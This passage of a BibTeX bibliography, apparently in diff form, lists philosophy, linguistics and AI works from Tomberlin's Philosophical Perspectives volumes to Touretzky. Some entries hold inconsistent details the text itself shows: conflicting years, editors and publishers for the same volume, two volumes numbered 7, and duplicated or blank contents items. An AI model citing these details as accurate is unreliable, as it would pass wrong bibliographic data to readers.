+ 13. Stephen Schiffer, "The `Fido'-Fido Theory of Belief", pp. + 455--480 + 14. Romane Clark, "Objects of Consciousness: The Non-Relational + Theory of Sensing", pp. 481--500 + 15. Felicia Ackerman, "An Argument for a Modified Russellian + Principle of Acquaintance", pp. 501--512 + 16. William G. Lycan, "Phenomenal Objects: A Backhanded Defense", + pp. 513--526 + } , + topic = {metaphysics;} + } + +@incollection{ tomberlin:1987b, + author = {James E. Tomberlin}, + title = {Naturalism, Actualism, and Ontology}, + booktitle = {Philosophical Perspectives, Volume 12: + Language, Mind, and Ontology}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {489--498}, + address = {Cambridge, Massachusetts}, + topic = {philosophical-ontology;} + } + +@book{ tomberlin:1988a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 2: Epistemology}, + publisher = {Blackwell Publishers}, + year = {1988}, + address = {Oxford}, + contentnote = {TC: + 1. Alvin Plantinga, "Positive Epistemic Status and Proper + Function", pp. 1--50 + 2. Alvin I. Goldman, "Strong and Weak Justification", pp. 51--69 + 3. Roderick M. Chisholm, "The Evidence of the Senses", pp. + 71--90 + 4. Stewart Cohen, "How to be a Fallibilist", pp. 91--123 + 5. Keith Lehrer, "Coherence, Justification, and Chisholm", pp. + 125--138 + 6. Ernest Sosa, "Knowledge in Context, Skepticism in Doubt: The + Virtue of Our Faculties", pp. 139--155 + 7. Risto Hilpinen, "Knowledge and Conditionals", pp. 157--182 + 8. Sydney Shoemaker, "On Knowing One's Own Mind", pp. 183--209 + 9. Hector-Neri Castaneda, "Knowledge and Epistemic Obligation", + pp. 211--233 + 10. Richard Feldman, "Epistemic Obligations", pp. 235--256 + 11. William P. Alston, "The Deontological Conception of Epistemic + Justification", pp. 257--299 + 12. Wilfrid Sellars, "On Accepting First Principles", pp. + 301--314 + 13. John L. Pollock, "The Building of Oscar", pp. 315--344 + 14. Brian Skyrms, "Deliberational Dynamics and The Foundations of + Bayesian Game Theory", pp. 345--367 + 15. Romane Clark, "Vicious Infinite Regress Arguments", pp. + 369--380 + 16. Jaegwon Kim, "What Is "Naturalized Epistemology?", pp. + 381--405 + 17. Robert Audi, "Foundationalism, Coherentism, and + Epistemological Dogmatism", pp. 407--442 + 18. Richard Fumerton, "The Internalism/Externalism Controversy", + pp. 443--459 + 19. Marshall Swain, "Alston's Internalistic Externalism", pp. + 461--473 + } , + topic = {epistemology;} + } + +@book{ tomberlin:1989a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 3: Philosophy of Mind and + Action Theory}, + publisher = {Blackwell Publishers}, + year = {1989}, + address = {Oxford}, + contentnote = {TC: + 1. Fred Dretske, "Reasons and Causes", pp. 1--15 + 2. Carl Ginet, "Reasons Explanation of Action: An + Incompatibilist Account", pp. 17--46 + 3. Terence Horgan, "Mental Quausation", pp. 47--76 + 4. Jaegwon Kim, "Mechanism, Purpose, and Explanatory Exclusion", + pp. 77--108 + 5. Brian P. McLaughlin, "Type Epiphenomenalism, Type Dualism, + and the Causal Priority of the Physical", pp. 109--135 + 6. Geoffrey Sayre-McCord, "Functional Explanations and Reasons + as Causes", pp. 137--164 + 7. Lynne Rudder Baker, "On a Causal Theory of Content", pp. + 165--186 + 8. Steven E. Boer, "Neo-Fregean Thoughts", pp. 187--224 + 9. Paul M. Churchland, "Folk Psychology and the Explanation of + Human Behavior", pp. 225--241 + 10. Nathan Salmon, "Illogical Belief", pp. 243--285 + 11. "", pp. + 12. Robert Stalnaker, "On What's In the Head", pp. 287--316 + 13. Howard Wettstein, "Turning the Tables on Frege or How is it + that `Hesperus is Hesperus' is Trivial?", pp. + 317--339 + 14. Takashi Yagisawa, "The Reverse Frege Puzzle", pp. 341--367 + 15. Mark Johnston, "Fission and the Facts", pp. 369--397 + 16. Peter van Inwagen, "When is the Will Free?", pp. 399--422 + 17. Myles Brand, "Proximate Causation of Action", pp. 423--442 + 18. "", pp. + 19. Michael E. Bratman, "Intention and Personal Policies", pp. + 443--469 + 20. Raimo Tuomela, "Actions by Collectives", pp. 471--496 + 21. "", pp. + 22. Michael Devitt, Kim Sterelny, "Linguistics: What's Wrong with + `The Right View '\,", pp. 497--531 + 23. Graeme Forbes, "Biosemantics and the Normative Properties of + Thought", pp. 533--547 + 24. Jennifer Hornsby, "Semantic Innocence and Psychological + Understanding", pp. 549--574 + 25. Scott Soames, "Semantics and Semantic Competence", pp. + 575--596 + } , + topic = {action;philosophy-of-mind;} + } + +@book{ tomberlin:1990a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives, Volume 4: + Action Theory and Philosophy of Mind}, + publisher = {Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + contentnote = {TC: + 1. Annette Baier, "What Emotions Are About", pp. 1--29 + 2. Gilbert Harman, "The Intrinsic Quality of Experience", pp. 31--52 + 3. Ned Block, "Inverted Earth", pp. 53-79 + 4. Brian Loar, "Phenomenal States", pp. 81--108 + 5. William G. Lycan, "What is the `Subjectivity' of the + Mental", pp. 109--130 + 6. Brian O'Shaughnessy, "The Appearance of A Material + Object", pp. 131--151 + 7. Stephen Schiffer, "Physicalism", pp. 153--185 + 10. Sydney Shoemaker, "First-Person Access", pp. 187--214 + 11. James Van Cleve, "Mind--Dust or Magic? Panpsychism Versus + Emergence", pp. 215--226 + 12. Robert Audi, "An Internalist Conception of Rational + Action", pp. 227--245 + 13. Bruce Aune, "Action, Inference, Belief, and Intention", + pp. 247--271 + 14. Hector-Neri Castaneda, "Practical Thinking, Reasons for + Doing, and Intentional Action: The Thinking of Doing + and The Doing of Thinking", pp. 273--308 + 15. Fred Feldman, "A Simpler Solution to the Paradoxes of + Deontic Logic", pp. 309--341 + 16. Patricia Smith Churchland, Terrence J. Sejnowski, "Neural + Representation and Neural Computation", pp. 343--382 + 17. John Haugeland, "The Intentionality All-Stars", pp. 383--427 + 18. Bernard W. Kobes, "Individualism and Artificial + Intelligence", pp. 429--459 + 19. John Pollock, "Philosophy and Artificial Intelligence", + pp. 461--498 + 20. William Ramsey and Stephen Stich and Joseph Garon, + "Connectionism, Eliminativism and The Future of Folk + Psychology", pp. 499--533 + 21. Felicia Ackerman, "Analysis, Language, and Concepts: The + Second Paradox of Analysis", pp. 535--543 + 22. Roderick M. Chisholm, "Referring to Things That No Longer + Exist", pp. 545--556 + 23. Richard E. Grandy, "Understanding and the Principle of + Compositionality", pp. 557--572 + 24. James E. Tomberlin, "Belief, Nominalism, and + Quantification", pp. 573--579 + } , + topic = {action;philosophy-of-mind;} + } + +@book{ tomberlin:1993a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + contentnote = {TC: + 1. Ernest Sosa, "Epistemology, Realism, and Truth: The First + Philosophical Perspectives Lecture", pp. 1--16 + 2. George Bealer, "A Solution to Frege's Puzzle", pp. 17--60 + 3. Christopher Menzel, "The Proper Treatment of Predication + in Fine-Grained Intensional Logic", pp. 61--87 + 4. Stephen Neale, "Term Limits", pp. 89--123 + 5. Nathan Salmon, "Analyticity and Apriority", pp. 125--133 + 6. Takashi Yagisawa, "A Semantic Solution to Frege's Puzzle", + pp. 135--154 + 7. Keith S. Donnellan, "There Is a Word for that Kind of + Thing: An Investigation of Two Thought Experiments", + pp. 155--171 + 10. James Higginbotham, "Grammatical Form and Logical Form", + pp. 173--196 + 11. Genoveva Marti, "The Source of Intensionality", pp. 197--206 + 12. Mark Richard, "Articulated Terms", pp. 207--230 + 13. Stephen Schiffer, "Actual-Language Relations", pp. 231--258 + 14. Simon Blackburn, "Circles, Finks, Smells and + Biconditionals", pp. 259--279 + 15. Michael Devitt, "A Critique of the Case for Semantic + Holism", pp. 281--306 + 16. Mark Johnston, "Verificationism as Philosophical + Narcissism", pp. 307--330 + 17. J. Michael Dunn, "Star and Perp: Two Treatments of + Negation", pp. 331--357 + 18. Anil Gupta, "Minimalism", pp. 359--369 + 19. Stephen Yablo, "Hop, Skip and Jump: The Agonistic + Conception of Truth", pp. 371--396 + 20. K. Anthony Appiah, "\,`Only-Ifs'\,", pp. 397--410 + 21. William G. Lycan, "MPP, Rip", pp. 411--428 + 22. D. M. Armstrong, "A World of States of Affairs", pp. 429--440 + 23. Terence Parsons, "On Denoting Propositions and + Facts", pp. 441--460 + 24. G. W. Fitch, "Non Denoting", pp. 461--486 + 25. Michael Jubien, "Proper Names", pp. 487--504 + 26. Jay F. Rosenberg, "Another Look at Proper + Names", pp. 505--530 + } , + topic = {philosophy-of-language;philosophy-of-logic;} + } + +@book{ tomberlin:1994a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives, Volume 7: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + address = {Oxford}, + contentnote = {TC: + 1. Kit Fine, "Essence and Modality: The Second Philosophical + Perspectives Lecture", pp. 1--16 + 2. Lynne Rudder Baker, "Content and Context", pp. 17--32 + 3. Paul A. Boghossian, "The Transparency of Mental + Content", pp. 33--50 + 4. Brian Loar, "Self-Interpretation and the Constitution of + Reference", pp. 51--74 + 5. Ruth Garrett Millikan, "On Unclear and Indistinct + Ideas", pp. 75--100 + 6. Jerry Fodor and Ernie Lepore, "Is Radical Interpretation + Possible?", pp. 101--119 + 7. Donald Davidson, "Radical Interpretation Interpreted", pp. 121--128 + 8. Felicia Ackerman, "Roots and Consequences of + Vagueness", pp. 129--136 + 9. David Cowles, "On Van Inwagen's Defense of Vague + Identity", pp. 137--158 + 10. Terence Horgan, "Robust Vagueness and the Forced-March + Sorites Paradox", pp. 159--188 + 11. Michael Tye, "Sorites Paradoxes and the Semantics of + Vagueness", pp. 189--206 + 12. Peter van Inwagen, "Composition as Identity", pp. 207--220 + 13. Jeffrey C. King, "Anaphora and Operators", pp. 221--250 + 14. Scott Soames, "Attitudes and Anaphora", pp. 251--272 + 15. Tomis Kapitan, "Exports and Imports: Anaphora in + Attitudinal Ascriptions", pp. 273--292 + 16. Thomas McKay, "Names, Causal Chains, and De Re + Beliefs", pp. 293--302 + 17. Michael McKinsey, "Individuating Beliefs", pp. 303--330 + 18. Jon Barwise and Jerry Seligman, "The Rights and Wrongs of + Natural Regularity", pp. 331--364 + 19. Nuel Belnap and Mitchell Green, "Indeterminism and the Thin + Red Line", pp. 365--388 + 20. Marvin Belzer, Barry Loewer, "Hector Meets 3-D: A + Diaphilosophical Epic", pp. 389--414 + 21. Graeme Forbes, "A New Riddle of Existence", pp. 415--430 + 22. Bernard Linsky and Edward N. Zalta, "In Defense of the + Simplest Quantified Modal Logic", pp. 431--458 + 23. James E. Tomberlin and Frank McGuinness, "Troubles with + Actualism", pp. 459--466 + } , + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophy-of-language;philosophy-of-logic;} + } + +@incollection{ tomberlin-mcguinness:1994a, + author = {James E. Tomberlin and Frank McGuinness}, + title = {Troubles with Actualism}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {459--466}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophical-ontology;(non)existence;;} + } + +@book{ tomberlin:1996a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 10: Metaphysics}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + topic = {metaphysics;} + } + +@book{ tomberlin:1997a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + address = {Oxford}, + contentnote = {TC: + 1. Nathan Salmon, "Wholes, Parts, and Numbers" + 2. Bas C. van Fraassen, "Putnam's Paradox: Metaphysical Realism + Revamped and Evaded" + 3. Takasu Yagisawa, "A Somewhat Russellian Theory of Intensional + Contexts" + 4. Nathan Salmon, "Wholes, Parts, and Numbers" + 5. Bas C. van Fraassen, "Putnam's Paradox: Metaphysical Realism + Revamped and Evaded" + 6. Takasu Yagisawa, "A Somewhat Russellian Theory of Intensional + Contexts" + 7. Louise M. Anthony and Joseph Levine, "Reduction with Autonomy" + 8. Ned Block, "Anti-Reductionism Slaps Back" + 9. Marian David, "Kim's Functionalism" + 10. Jerry Fodor, "Special Sciences: Still Autonomous after All These + Years" + 11. Terence Horgan, "Kim on Mental Causation and Causal Explanation" + 12. Jaegwon Kim, "The Mind-Body Problem: Taking Stock + after Forty Years" + 13. Brian P. McLaughlin, "Supervenience, Vagueness, and Determinism" + 14. Alfred R. Mele, "Agency and Mental Action" + 15. Stephen Yablo, "Wide Causation" + 16. Sydney Shoemaker, "Self and Substance" + 17. Peter van Inwagen, "Materialism and the Psychological-Continuity + Account of Personal Identity" + 18. Peter Woodruff and Terence D. Parsons, "Indeterminacy of Identity + of Objects and Sets" + 19. Roy Sorensen, "The Metaphysics of Precision and Scientific + Language"}, + topic = {philosophy-of-mind;philosophical-realism;causality;} + } + +@book{ tomberlin:1998a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + address = {Oxford}, + contentnote = {TC: + 1. Tyler Burge, "Computer Proof, Apriori Knowledge, and + Other Minds", pp. 1--37 + 2. Joseph Almog, "The Subject Verb Object Class {I}", pp. 39-- 76 + 3. Joseph Almog, "The Subject Verb Object Class {II}", pp. 77--104 + 4. Akeel Bilgrami, "Why Holism is Harmless and + Necessary", pp. 105--126 + 5. Robert Brandom, "Actions, Norms, and Practical + Reasoning", pp. 127--139 + 6. Kirk Ludwig and Greg Ray, "Semantics for Opaque + Contexts", pp. 141--161 + 7. Matthew McGrath, "Proportion and Mental Causation: A + Fit?", pp. 167--176 + 8. Harry Deutsch, "Identity and General + Similarity", pp. 177--199 + 9. Frank Jackson, "Reference and Description + Revisited", pp. 201--218 + 10. Mark Norris Lance, "Some Reflections on the Sport of + Language", pp. 219--240 + 11. Huw Price, "Three Norms of Assertibility or How the MOA + Became Extinct", pp. 241--254 + 12. Mark Richard, "Commitment", pp. 255--281 + 13. C.B. Martin and John Heil, "Rules and Powers", pp. 283--312 + 14. Scott Soames, "Facts, Truth Conditions, and the Skeptical + Solution to the Rule-Following Paradox", pp. 313--348 + 15. John O'Leary-Hawthorne and Jeffrey K. McDonough, "Numbers, + Minds, and Bodies: A Fresh Look at Mind-Body + Dualism", pp. 349--371 + 16. David Papineau, "Mind the Gap", pp. 373--388 + 17. Timothy Williamson, "The Broadness of the Mental: Some + Logical Considerations", pp. 389--410 + 18. Karen Neander, "The Division of Phenomenal Labor: A + Problem for Representational Theories of + Consciousness", pp. 411--434 + 19. Georges Rey, "A Narrow Representationalist Account + of Qualitative Experience", pp. 435--457 + 20. Michael Tye, "Inverted Earth, Swampman, and + Representationalism", pp. 459--477 + 21. William G. Lycan, "In Defense of the Representational + Theory of Qualia (Replies to {N}eander, + {R}ey, and {T}ye", pp. 479--487 + 22. James E. Tomberlin, "Naturalism, Actualism, and + Ontology", pp. 489--498 + 23. Michael Devitt, "Putting Metaphysics First: A Response + to {J}ames {T}omberlin", pp. 499--502 + 24. Terence Horgan, "Actualism, Quantification, and + Contextual Semantics", pp. 503--509 + } , + topic = {philosophy-of-mind;philosophical-realism;causality;} + } + +@incollection{ tomberlin:1998b, + author = {James E. Tomberlin}, + title = {Naturalism, Actualism, and Ontology}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {489--498}, + address = {Oxford}, + topic = {philosophical-ontology;} + } + +@incollection{ tomberlin:1998c, + author = {James E. Tomberlin}, + title = {Naturalism, Actualism, and Ontology}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {489--498}, + address = {Oxford}, + topic = {philosophical-ontology;} + } + +@book{ tomberlin:1999a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 13: Epistemology, 1999}, + publisher = {Blackwell Publishers}, + year = {1999}, + address = {Oxford}, + topic = {epistemology;} + } + +@book{ tomberlin:2000a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + address = {Oxford}, + contentnote = {TC: + 1. Peter van Inwagen, "Free Will Remains a Mystery", pp. 1--19 + 2. Randolph Clarke, "Modest Libertarianism", pp. 21--45 + 3. Eleonore Stump and John Martin Fischer, "Transfer Principles + and Moral Responsibility", pp. 47--55 + 4. Robert Kane, "The Dual Regress of Free Will and the Role + of Alternative Possibilities", pp. 57--79 + 5. Tomis Kapitan, "Autonomy and Manipulated Freedom", pp. 81--103 + 6. Timothy O'Conner, "Causality, Mind, and Free Will", pp. 105--117 + 7. Derk Pereboom, "Alternative Possibilities and Causal + Histories", pp. 119--137 + 8. Kadri Vihvelin, "Libertarian Compatibilism", pp. 139--166 + 9. Ted A. Warfield, "Causal Determinism and Human Freedom + Incompatible: A New Argument for + Alternative Possibilities: A Further Look", pp. 181--202 + 11. Gideon Yaffe, "Free Will and Agency at Its Best", pp. 203--229 + 12. Linda Zagzebski, "Does Libertarianian Freedom Require + Alternative Possibilities?", pp. 231--248 + 13. Michael E. Bratman, "Valuing and the Will", pp. 249--265 + 14. Carl Ginet, "The Epistemic Requirements for Moral + Responsibility", pp. 279--300 + 15. Alfred R. Mele, "Goal-Directed Action: Teleological + Explanations, Causal Theories, and Deviance", pp. 267--277 + 16. Walter Sinnot-Armstrong and Stephen Behnke, "Responsibility in + Cases of Multiple Personality Disorder", pp. 301--323 + 17. Peter Unger, "The Survival of the Sentient", pp. 325--348 + 18. J. David Velleman, "From Self Psychology to Moral + Philosophy", pp. 349--377 + } , + topic = {action;volition;freedom;} + } + +@book{ tomberlin:2001a, + editor = {James E. Tomberlin}, + title = {Philosophical Perspectives 15: Metaphysics, 2001}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + topic = {metaphysics;} + } + +@inproceedings{ tomioka:1995a, + author = {Satoshi Tomioka}, + title = {[Focus]$_F$ Restricts Scope: Quantifier in {VP} Ellipsis}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {328--345}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-quantifier-scope;sentence-focus;ellipsis;pragmatics;} + } + +@article{ tomioka:1999a, + author = {Satoshi Tomioka}, + title = {A Sloppy Identity Puzzle}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {2}, + pages = {217--241}, + topic = {sloppy-identity;} + } + +@incollection{ tomita:1981a, + author = {Masaru Tomita}, + title = {Why Parsing Technologies?}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {1--7}, + address = {Dordrecht}, + topic = {parsing-algorithms;nlp-technology;} + } + +@incollection{ tomita:1981b, + author = {Masaru Tomita}, + title = {Parsing 2-Dimensional Language}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {277--289}, + address = {Dordrecht}, + topic = {parsing-algorithms;} + } + +@book{ tomita:1991a, + editor = {Masaru Tomita}, + title = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + address = {Dordrecht}, + contentnote = {TC: + 1. Masaru Tomita, "Why Parsing Technologies?", pp. 1--7 + 2. Sandiway Fong and Robert C. Berwick, "The Computational + Implementation of Principle-Based Parsers", pp. 9--24 + 3. Yves Schabes and Arivind K. Joshi, "Parsing with Lexicalized + Tree Adjoining Grammar", pp. 25--47 + 4. Harry Bunt, "Parsing with Discontinuous Phrase Structure + Grammar", pp. 49--63 + 5. Kent Wittenburg and Robert E. Wall, "Parsing with Categorial + Grammar in Predicate Normal Form", pp. 65--83 + 6. Brian A. Slator and Yorick Wilks, "{PREMO}: Parsing by + Conspicuous Lexical Consumption", pp. 85--102 + 7. Kenneth Church and William Gale and Patrick Hanks and + Donald Hindle, "Parsing, Word Association, and + Typical Predicate-Argument Relations", pp. 103--112 + 8. Mark Steedman, "Parsing Spoken Language Using Combinatory + Grammars", pp. 113--126 + 9. Eva Haji\v{c}ov\'a, "A Dependency-Based Parser for Topic + and Focus", pp. 127--138 + 10. T. Fujisaki and F. Jelinek and J. Cocke and E. Black + and T. Nishino, "A Probabilistic Parsing Method + for Sentence Disambiguation", pp. 139--152 + 11. Bernard Lang, "Towards a Uniform Formal Framework for + Parsing", pp. 153--171 + 12. John T. Maxwell III and Ronald M. Kaplan, "A Method for + Disjunctive Constraint Satisfaction", pp. 173--190 + 13. K. Vijay-Shankar and David J. Weir, "Polynomial Parsing + of Extensions of Context-Free Grammars", pp. 191--206 + 14. Anton Nijholt, "Overview of Parallel Parsing + Strategies", pp. 207--229 + 15. Henry S. Thompson, "Chart Parsing for Loosely Coupled + Parallel Systems", pp. 231--241 + 16. Ajay N. Jain and Alex H. Waibel, "Parsing with Connectionist + Networks", pp. 243--260 + 17. Karen Jensen, "A Broad-Coverage Natural Language Analysis + System", pp. 261--276 + 18. Masaru Tomita, "Parsing 2-Dimensional Language", pp. 277--289 + }, + topic = {parsing-algorithms;} + } + +@article{ tomoichi:2000a, + author = {Takahashi Tomoichi}, + title = {Log{M}onitor: Analyzing Good Plays to Train Player + Agents}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {25}, + topic = {RoboCup;robotics;} + } + +@inproceedings{ tompa:1988a, + author = {Martin Tompa}, + title = {Zero Knowledge Interactive Proofs of Knowledge (A + Digest)}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {1--12}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + contentnote = {This is a brief survey of work on protocols that + establish K(a,p) without revealing p.}, + topic = {reasoning-about-knowledge;communication-protocols; + cryptography;} + } + +@incollection{ tomuro:1998a, + author = {Noriko Tomuro}, + title = {Semi-Automatic Induction of Systematic + Polysemy from {W}ord{N}et}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {108--114}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;polysemy;} + } + +@article{ tomuro-lytinen:2001a, + author = {Noriko Tomuro and Steven L. Lytinen}, + title = {Nonminimal Derivations in Unification-Based Parsing}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {277--285}, + topic = {parsing-algorithms;unification;} + } + +@incollection{ tonfoni:1999a, + author = {Graziella Tonfoni}, + title = {A Mark up Language for Tagging Discourse + and Annotating Documents in Context Sensitive + Interpretation Environments}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {94--100}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;context;} + } + +@phdthesis{ tonisson:1976a, + author = {Ivar Tonisson}, + title = {A Formal Semantics for Adjectivals and Adverbials}, + school = {Stanford}, + year = {1976}, + type = {Ph.{D}. Dissertation}, + address = {Stanford, California}, + topic = {adjectives;adverbs;nl-semantics;} + } + +@book{ toolan:1996a, + author = {Michael Toolan}, + title = {Total Speech: An Integrational Approach to Language}, + publisher = {Duke University Press}, + year = {1996}, + address = {Durham, North Carolina}, + topic = {speaker-meaning;pragmatics;metaphor;pragmatics;} + } + +@incollection{ tooley:1984a, + author = {Michael Tooley}, + title = {Laws and Causal Relations}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {93--132}, + address = {Minneapolis}, + topic = {natural-laws;causality;} + } + +@book{ tooley:1988a, + author = {Michael Tooley}, + title = {Causation: A Realist Approach}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + topic = {causality;} + } + +@article{ tooley:1997a, + author = {Michael Tooley}, + title = {Review of {\it Laws of Nature}, by {J}ohn {W}. {C}arroll}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {1}, + pages = {119--121}, + xref = {Review of carroll_jw:1994a.}, + topic = {causality;} + } + +@book{ tooley:1997b, + author = {Michael Tooley}, + title = {Time, Tense, and Causation}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {causality;time;} + } + +@article{ torrago:2000a, + author = {Loretta Torrago}, + title = {Vague Causation}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {313--347}, + topic = {vagueness;causality;conditionals;} + } + +@book{ torrance:1984a, + editor = {Steve B. Torrance}, + title = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + address = {Chichester}, + ISBN = {085312712-3}, + contentnote = {TC: + 1. Steve B. Torrance, "Editor's Introduction: Philosophy + and {AI}: Some Issues", pp. 11--33 + 2. Aaron Sloman, "The Structure of the Space of + Possible Minds", pp. 35--42 + 3. Anthony Palmer, "The Limits of {AI}: Thought + Experiments and Conceptual Investigations", pp. 43--50 + 4. Pascal Engel, "Functionalism, Belief, and Content", pp. 51--63 + 5. Pierre Jacob, "Remarks on the Language of Thought", pp. 64--78 + 6. Ajit Narayanan, "What is it Like to be a Machine?", pp. 79--87 + 7. Noelk Mouloud, "Machines and Mind: The Functional Sphere + and Epistemological Circles", pp. 88--98 + 8. Claudine Tiercelin, "Peirce on Machines, Self-Control + and Intentionality", pp. 99--113 + 9. James Higginbotham, "Noam {C}homsky's Linguistic + Theory", pp. 114--124 + 10. Margaret Boden, "Methodological Links between {AI} and + Other Disciplines", pp. 125--132 + 11. Richard Ennals and Jonathan Briggs, "Logic and + Programming", pp. 133--144 + 12. Eugene Chouraqui, "Computational Models of Reasoning", pp. 145-- + 13. Alan Bundy, "Meta-Level Inference and Consciousness", pp. 156--167 + 14. Daniel Kayser, "A Computer Scientist's View of + Meaning", pp. 168--176 + 15. Masoud Yazdani, "Creativity in Men and Machines", 177--181 + 16. Yves Kodratoff and Jean-Gabriel Ganascia, "Learning + as a Non-Deterministic but Exact Logical + Processes", pp. 182--191 + } , + topic = {philosophy-and-AI;philosophy-of-AI;} + } + +@incollection{ torrance:1984b, + author = {Steve B. Torrance}, + title = {Editor's Introduction: Philosophy + and {AI}: Some Issues}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {11--33}, + address = {Chichester}, + topic = {philosophy-and-AI;philosophy-of-AI;} + } + +@book{ torricetti:1999a, + author = {Roberto Torricetti}, + title = {The Philosophy of Physics}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052156571-5}, + topic = {philosophy-of-physics;} + } + +@book{ torsun:1995a, + author = {I.S. Torsun}, + title = {Foundations of Intelligent Knowledge-Based Systems}, + publisher = {Academic Press}, + year = {1995}, + address = {New York}, + contentnote= {TC: + 1. Introduction + 2. Propositional Logic + 3. First Order Logic + 4. Axiomatic Systems + 5. Knowledge Representation + 6. Deductive Databases + 7. Revisable Beliefs + 8. Reasoning Under Uncertainty + 9. Modal Logic + 10. Temporal Logic + 11. Machine Learning + 12. Multiagent Systems + 13. Logic Programming and Constraint Satisfaction + 14. Meta-Systems + } , + topic = {kr;AI-intro;AI-and-logic;kr-course;} + } + +@article{ toth:1995a, + author = {Jozsef A. Toth}, + title = {Review of {\it Reasoning Agents in a Dynamic World: The + Frame Problem}, edited by {K}enneth {M}. {F}ord and {P}atrick + {J}. {H}ayes}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {323--369}, + xref = {Review: ford_km-hayes:1991a.}, + topic = {frame-problem;philosophy-AI;} + } + +@incollection{ toulmin-perelman:1960a, + author = {Stephen Toulmin and Chaim Perelman}, + title = {Rhetoric as a Way of Knowing}, + booktitle = {The Rhetoric of {W}estern Thought}, + publisher = {Kendall/Hunt Publishing Co.}, + year = {1976}, + editor = {James L. Golden and Goodwin F. Berquist and William E. Coleman}, + chapter = {12}, + pages = {173--175}, + address = {Dubuque, Iowa}, + topic = {rhetoric;argumentation;} + } + +@inproceedings{ touretzky:1984a1, + author = {David S. Touretzky}, + title = {Implicit Ordering of Defaults in Inheritance Systems}, + booktitle = {Proceedings of the Fourth National Conference on + Artificial Intelligence}, + year = {1984}, + pages = {322--325}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + xref = {Republication: touretzky:1984a2.}, + topic = {inheritance-theory;} + } + +@incollection{ touretzky:1984a2, + author = {David S. Touretzky}, + title = {Implicit Ordering of Defaults in Inheritance Systems}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {106--109}, + address = {Los Altos, California}, + xref = {Republication: touretzky:1984a2.}, + topic = {inheritance-theory;} + } + +@book{ touretzky:1986a, + author = {David S. Touretzky}, + title = {The Mathematics of Inheritance Systems}, + publisher 